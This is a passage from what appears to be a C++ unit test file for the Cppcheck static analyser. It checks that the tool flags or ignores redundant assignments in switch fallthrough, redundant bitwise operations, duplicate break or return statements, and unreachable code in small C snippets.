foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" 